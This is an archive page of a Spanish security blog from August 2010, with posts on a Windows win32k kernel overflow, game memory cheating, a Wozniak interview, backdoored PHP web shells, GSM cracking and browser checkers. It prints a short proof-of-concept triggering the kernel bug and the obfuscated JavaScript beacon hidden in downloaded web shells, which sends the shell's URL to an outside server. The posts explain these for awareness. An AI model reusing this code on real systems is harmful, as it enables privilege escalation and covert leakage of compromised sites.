07 agosto 2010

Nueva vulnerabilidad afecta a todos los sistemas Windows

Se ha publicado otra vulnerabilidad que afecta al kernel de todos los sistemas operativos Windows en su último nivel de parcheo: XP, 2003, 2008, Vista y 7. El error permite escalar privilegios y ejecutar código con permisos de kernel.

El fallo es un buffer overflow en la función CreateDIBPalette(), localizado en el archivo Win32k.sys.
Pese a la gravedad de la vulnerabilidad VUPEN le ha asignado criticidad media, imagino que por no ser explotable remotamente y para la que a día de hoy no hay parche.

Parece que últimamente le están creciendo los enanos a Microsoft, incluso después de la dolorosa y tardía implantación de DEP y ASLR en su mejor y más seguro sistema operativo.

En la web de Insanely Low-Level, se puede observar la llamada al miembro biClrUsed:

DEVMODE dm = {0};
dm.dmSize  = sizeof(DEVMODE);
dm.dmBitsPerPel = 8;
dm.dmPelsWidth = 800;
dm.dmPelsHeight = 600;
dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
ChangeDisplaySettings(&dm, 0);

BITMAPINFOHEADER bmih = {0};
bmih.biClrUsed = 0×200;

HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0×1000);
memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
GlobalUnlock(h);

OpenClipboard(NULL);
SetClipboardData(CF_DIBV5, (HANDLE)h);
CloseClipboard();

OpenClipboard(NULL);
GetClipboardData(CF_PALETTE);
Leer más...

06 agosto 2010

Ejemplo sencillo de Hacking de Videojuegos


Hace unos días estuvimos en Campus Party Valencia, donde un integrante del grupo Nogg-Aholic nos mostró en su taller de Hacking Ético de Videojuegos algunas de las herramientas y metodologías que usaban, además de sus propios Hacks (siempre usados con ética).

Lo primero que hice al llegar a casa, fué instalar Steam y bajar algunos juegos para probar. Vamos a ver un ejemplo muy sencillo en Counter Strike Source, una de las estrellas de juegos de acción online.

Nos creamos una partida a solas, y abrimos Cheat Engine. Con este programa buscaremos los datos guardados en memoria del juego, y una vez encontrados los cambiaremos a nuestro gusto. Por ejemplo, vamos a cambiar los cartuchos de nuestra escopeta, ya que sólo con siete se nos queda un poco pequeña. Una vez abierto el proceso del CS:S, buscamos qué direcciones tienen valor 7 (valores de 4 bytes):




Demasiadas direcciones, vamos a gastar un par de cartuchos y hacemos una búsqueda sobre la anterior:



Genial, hacemos un par de búsquedas más para verificar, y ya tenemos los valores que indican el número de cartuchos. Ahora los vamos a "pasar" al área de trabajo de Cheat Engine, y vamos a modificar todos, por ejemplo, a 250:



Como podemos ver, hemos modificado los valores en memoria, y en el juego tenemos ahora ese número de cartuchos. Podemos descargar 250 cartuchos seguidos sin despeinarnos.

Esto mismo lo he probado en un servidor dedicado externo, y sólo funciona visualmente para nosotros, pero el número de cartuchos es el real. Probablemente se deba a la protección VAC que permite Valve en los servidores dedicados, o a que estos datos se procesan en la parte del servidor.

Esto es sólo un pequeño aperitivo de lo que se nos mostró en el taller, si os interesa el tema podeis pasaros por su página web (dónde encontrareis un montón de material), o ver el vídeo del taller. Teneis los enlaces al principio de la entrada.

Artículo por Alberto Ortega Llamas.
Leer más...

05 agosto 2010

Entrevista a Steve Wozniak en Campus Party Valencia 2010

Aprovechando que este año una vez más, Security By Default tuvo la oportunidad de organizar el wargame de Campus Party Valencia, quisimos aprovechar la oportunidad de conocer y entrevistar a una de las personas que mayor influencia han tenido en el mundo de la informática: Steve Wozniak.

Para quien no lo conozca (es difícil, lo sé) Steve Wozniak, fue uno de los culpables de que ahora utilicemos ordenadores personales. Dando un breve repaso a su bio, vemos que ya demostró su inquietud por la tecnología montando su primera estación de radio amateur (a los once años!!!); a los trece años, empezó a construir ordenadores, lo cual ya dejaba entrever que iba a ser un genio de la electrónica. Al final terminaría (o empezaría) en un garaje diseñando el precursor del primer ordenador personal. Fue uno de los co-fundadores de la empresa Apple, junto a Steve Jobs y Ronald Wayne.

Desde Security By Default quisimos conocer la visión del panorama de la seguridad desde la perspectiva de una de las personas con mayor criterio en informática de todos los tiempos:

Security by Default: Empezaste a hacer "hacking" con hardware cuando la seguridad no era lo importante sino la novedad de que una persona pudiera tener en su casa un PC. ¿Qué piensas de la necesaria evolución que ha tenido la seguridad desde esos días hasta ahora?
Steve Wozniak: Fundamentalmente han sido necesarios grandes pasos, miles de diferentes enfoques, pero eso sí, guiados por las mismas fuerzas que siempre.

SbD: ¿Todavía eres de los que hacen "hacking" en los gadgets que compras o los aceptas tal cual los fabricantes lo venden de forma original?
Woz: La verdad es que ya no suelo hacer "hacking" de los dispositivos, a excepción, claro está de hacer Jailbreak al Iphone :D

SbD: ¿Prefieres el hacking de software o de hardware?
Woz: La verdad es que después de todo lo que he hecho en hardware, actualmente prefiero el software porque es más sencillo. Sin embargo, todo depende de la complejidad, un hack hardware bien elaborado, es todo un arte!

SbD: ¿Piensas que la seguridad por oscuridad es la forma correcta de hacer las cosas? ¿Qué opinas de Wikileaks?
Woz: No, es mejor ser abierto, pero hay casos en los que es duro de criticar. Después de todo, "el otro lado" tiende a operar en secreto así que, en estos casos, me parece justo.

SbD: ¿Es realmente Google (con Android) un riesgo serio a tener en cuenta? Está claro que tendrán fallos, pero dan la sensación de tener en mente la filosofía de seguridad desde el principio, ¿no lo crees?
Woz: La verdad es que no estoy seguro si estoy de acuerdo con esa afirmación.


La verdad es que Steve resultó ser como lo véis en la foto, un personaje encantador, amigable y campechano, con gran sentido del humor (aunque no sé si le hizo mucha gracia que, al firmarme el portátil, le dijera en broma que dejara sitio también para la firma de Jobs).

Wozniak es un tipo al que le mueve la tecnología y que está acostumbrado a compartir su tiempo con los aficionados a la tecnología. De hecho, él mismo se define así en este video: "Soy un campusero porque he amado la tecnología durante toda mi vida y quiero contribuir a ella, y quiero estar rodeado de gente que se sienta como yo".
Leer más...

04 agosto 2010

Quien roba a un ladrón...


Que duro es ser script-kiddie últimamente, y es que uno se lía con un servidor compartido de un colega de esos de 10€/mes y cuando te das cuenta estas buscando una imagen de un pinguino sacando cuernos a lo Metallica para ponérsela como página principal de su web.

Lo más normal tras conseguir acceso al servidor es colocar alguna puerta trasera que permita volver a entrar cuando uno quiera. Como por ejemplo las shells en php tan típicas en entornos LAMP. Entre las más populares y usadas: r57, c99, c100, mysqlshell, etcétera.

Si te ocurre como yo y no tienes a mano una de estas aplicaciones lo normal es buscarla en Internet para acabar en algún portal como phpshell.net, aunque te recomiendo que sigas leyendo hasta el final la entrada antes de usar alguna de ellas.



Por si acaso hay dudas, el código de estas shells esta ofuscado para que no se pueda leer directamente y tengas que pasarte tu rato si quieres hacer alguna modificación.

Tras el trabajo sucio, una de las líneas llama un script en javascript localizado en el servidor del que se ha descargado. Por ejemplo:

<script type="text/javascript">
document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063
\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0070
\u0068\u0070\u0073\u0068\u0065\u006c\u006c\u002e\u006e\u0065\u0074\u002f\u0073
\u0068\u0061\u0064\u006f\u0077\u002f\u006b\u0061\u0079\u0064\u0065\u0074\u002e
\u006a\u0073\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')
</script>

O lo que es lo mismo:

<script src="http://www.phpshell.net/shadow/kaydet.js">
</script>

El pequeño javascript  mandará un GET a un php con la URL donde se ha instalado la shell, revelando donde ir para obtener el acceso al sistema.

a=new/**/Image();a.src='http://www.phpshell.net/shadow/kaydet.php?a='+escape(location.href);

Una petición de ejemplo de nuestro navegador sería la siguiente:


Lo mejor de todo es que esto no es un caso aislado, hay varias páginas que amablemente te permiten descargar las phpshells y tienen el mismo sistema montado, como: http://r57.gen.tr, http://saldiri.org, http://www.c99shell.com/, http://sh3llz.org/ y ... unas decenas más

Así que ojo amigo conductor, que lo mismo revelas donde has instalado tu backdoor.

Leer más...

03 agosto 2010

El protocolo GSM se tambalea

Con esta locuaz frase en inglés: 'Cell phone eavesdropping enters script-kiddie phase' titula The Register el trabajo presentado en Black Hat comparando los avances actuales en GSM a lo sucedido en la era Wireless donde en algún punto las cosas pasaron a ser 'demasiado fáciles' y al alcance de prácticamente cualquiera.

En Black Hat se ha presentado una suite de herramientas para crackear el algoritmo A5/1 llamada 'Kraken' que optimiza demasiado el proceso de convertir datos GSM cifrados en datos accesibles por alguien que esté físicamente próximo al dispositivo GSM. El software ha sido desarrollado por Frank A. Stevenson, la misma persona que 'reventó' el algoritmo CSS de los DVDs

Afortunadamente parece que 'de momento' 3G está a salvo.

Pero tal vez el trabajo mas sorprendente y llamativo que también ha sido presentado en Black Hat consiste en la clonación de una estación base GSM que simula ser la de un operador valido, al emitir de forma mas intensa en su radio de acción, cualquier móvil GSM del entorno se asociará a esa estación pirata.

Para hacerlo mas divertido esa estación pirata emplea un tipo de 'downgrade' en el protocolo de cifrado anulándolo por completo. Y todo esto por el módico precio de 1.500 Dolares (contando el portátil donde se ejecuta el software). Si no recuerdo mal, algo parecido salia en la película 'TakeDown' para atrapar a Kevin Mitnick

Es curioso mirar con cierta perspectiva la evolución de la seguridad en los dispositivos móviles. Partiendo del infame pero eficaz 'Moviline' (Abuelo en España de la tecnología móvil) que no empleaba cifrado alguno en las comunicaciones y que estas eran interceptables con un dispositivo de radio adquirible en Andorra, siguiendo por GSM que ahora se tambalea, hasta llegar a 3G que parece resistir
Leer más...

02 agosto 2010

Cuatro formas de comprobar la seguridad de tu navegador

Como decía Rubén en su charla de la Campus-Party, hoy en día cuando se quiere comprometer un equipo personal, lo más importante es conocer cuál es la versión del navegador, y desde ahí, elaborar un ataque a medida para explotar alguna de sus vulnerabilidades, ya que es la herramienta principal en Internet y todos los usuarios hacen uso intensivo de ella.

Una solución sencilla que permite conocer si nuestro navegador es vulnerable a fallos conocidos, (además de comprobar que es la última versión), es hacer uso de algunas aplicaciones online que ejecutan una serie de chequeos como si fuese la ITV de los coches aplicada a Navegadores (ITN).

Con este propósito la compañía de seguridad Qualys ha desarrollado la extensión Qualys BrowserCheck que analiza el sistema y muestra si están o no actualizados los componentes más comunes que interactúan con el navegador (Flash, Reader, QuickTime, Silverlight, MediaPlayer, Sun Java, etcétera)


Para usarla es tan sencillo como acceder a la URL: https://browsercheck.qualys.com/, instalar el plugin y ejecutar el escaneo. Al finalizar mostrará los resultados de forma bastante sencilla. (Yo acabo de descubrir que no tengo la última versión de Acrobat Professional (Reader) y Java :$)


Una alternativa para Firefox que comprueba únicamente aquellos componentes que estén configurados en el navegador, es usar su propio servicio disponible en: https://www.mozilla.com/en-US/plugincheck/. La diferencia en los resultados es clara, como yo no uso la integración de Reader con el navegador, esta opción no encuentra ninguna aplicación desactualizada.



Scanit dispone de una aplicación, un tanto pobre comparada con el resto, llamada "browser security test", que detecta automáticamente el navegador y su versión, explotando hasta 19 vulnerabilidades conocidas y mostrando el resultado:



Una última opción más compleja y profunda analiza mediante un applet de Java todo el software instalado, al igual que hace su versión de escritorio: Secunia PSI, y reporta aplicaciones consideradas inseguras. Secunia OSI es ejecutado desde su página web y únicamente requiere tener la máquina virtual de Sun instalada.



Leer más...

01 agosto 2010

Enlaces de la secmana - 30

Semana campusera, pero no por ello el resto del mundo se ha detenido. Y tanto, ahora si en pleno proceso de congresos de seguridad con titulares claros (que si adiós al WPA2, adiós a los cajeros ATM...) podemos empezar a recopilar el material que de ellos se va publicando, y que tendremos que leer con atención.

Comencemos el repaso de esta SECmana tan "fiestera":
Nada más, hasta la SECmana que viene y ¡que comience Agosto!
Leer más...